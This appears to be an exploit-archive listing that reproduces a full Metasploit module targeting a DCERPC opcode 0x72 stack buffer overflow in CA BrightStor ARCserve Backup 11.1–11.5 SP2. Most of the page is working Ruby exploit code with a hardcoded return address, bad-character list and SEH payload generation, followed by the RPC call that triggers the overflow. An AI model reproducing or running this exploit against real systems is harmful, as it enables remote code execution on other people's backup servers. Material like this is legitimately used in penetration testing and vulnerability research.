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CA BrightStor ARCserve Message Engine 0x72 Buffer Overflow

CA BrightStor ARCserve Message Engine 0x72 Buffer Overflow
Posted Oct 4, 2010
Authored by MC | Site metasploit.com

This Metasploit module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup 11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow the buffer and execute arbitrary code.

tags | exploit, overflow, arbitrary
SHA-256 | c4ca4645d9925d456decaa55b7a17382e1c311a583da4c7b865b4621e3893f92

CA BrightStor ARCserve Message Engine 0x72 Buffer Overflow

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##
# $Id: message_engine_72.rb 10547 2010-10-04 22:00:22Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'CA BrightStor ARCserve Message Engine 0x72 Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup
11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow
the buffer and execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10547 $',
'References' =>
[
[ 'URL', 'http://www.metasploit.com/users/mc' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'BrightStor ARCserve r11.5/Windows 2003', { 'Ret' => 0x2380ceb5 } ],
],
'DisclosureDate' => 'Oct 4 2010',
'DefaultTarget' => 0))

register_options([Opt::RPORT(6504)], self.class)
end

def exploit

connect

handle = dcerpc_handle('506b1890-14c8-11d1-bbc3-00805fa6962e', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
print_status("Binding to #{handle} ...")

dcerpc_bind(handle)
print_status("Bound to #{handle} ...")

sploit = NDR.string(rand_text_english(760) + generate_seh_payload(target.ret) + "\x00") + NDR.long(0)

print_status("Trying target #{target.name}...")

begin
dcerpc_call(0x72, sploit)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
end

handler
disconnect

end

end
=begin
/* opcode: 0x72, address: 0x28E893D0 */

short sub_28E893D0 (
[in] handle_t arg_1,
[in][ref][string] char * arg_2,
[in, out][ref] long * arg_3
);
=end
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